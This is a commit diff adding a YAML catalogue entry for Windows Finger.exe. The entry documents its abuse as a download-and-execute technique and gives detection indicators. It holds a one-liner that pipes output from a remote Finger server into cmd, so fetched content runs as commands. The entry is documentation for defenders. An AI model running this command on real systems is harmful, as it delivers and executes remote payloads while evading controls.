Create Finger.exe (#154)

Closes #24, #123

yml/OSBinaries/Finger.yml

@@ -0,0 +1,31 @@
+---
+Name: Finger.exe
+Description: Displays information about a user or users on a specified remote computer that is running the Finger service or daemon
+Author: Ruben Revuelta
+Created: 2021-08-30
+Commands:
+  - Command: finger user@example.host.com | more +2 | cmd
+    Description: 'Downloads payload from remote Finger server. This example connects to "example.host.com" asking for user "user"; the result could contain malicious shellcode which is executed by the cmd process.'
+    Usecase: Download malicious payload
+    Category: Download
+    Privileges: User
+    MitreID: T1105
+    MitreLink: https://attack.mitre.org/techniques/T1105
+    OperatingSystem: Windows 8.1, Windows 10, Windows 11, Windows Server 2008, Windows Server 2008R2, Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019, Windows Server 2022
+Full_Path:
+  - Path: c:\windows\system32\finger.exe
+  - Path: c:\windows\syswow64\finger.exe
+Detection:
+  - IOC: finger.exe should not be run on a normal workstation.
+  - IOC: finger.exe connecting to external resources.
+Resources:
+  - Link: https://twitter.com/DissectMalware/status/997340270273409024
+  - Link: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/ff961508(v=ws.11)
+Acknowledgement:
+  - Person: Ruben Revuelta (MAPFRE CERT)
+    Handle: '@rubn_RB'
+  - Person: Jose A. Jimenez (MAPFRE CERT)
+    Handle: '@Ocelotty6669'
+  - Person: Malwrologist
+    Handle: '@DissectMalware'
+---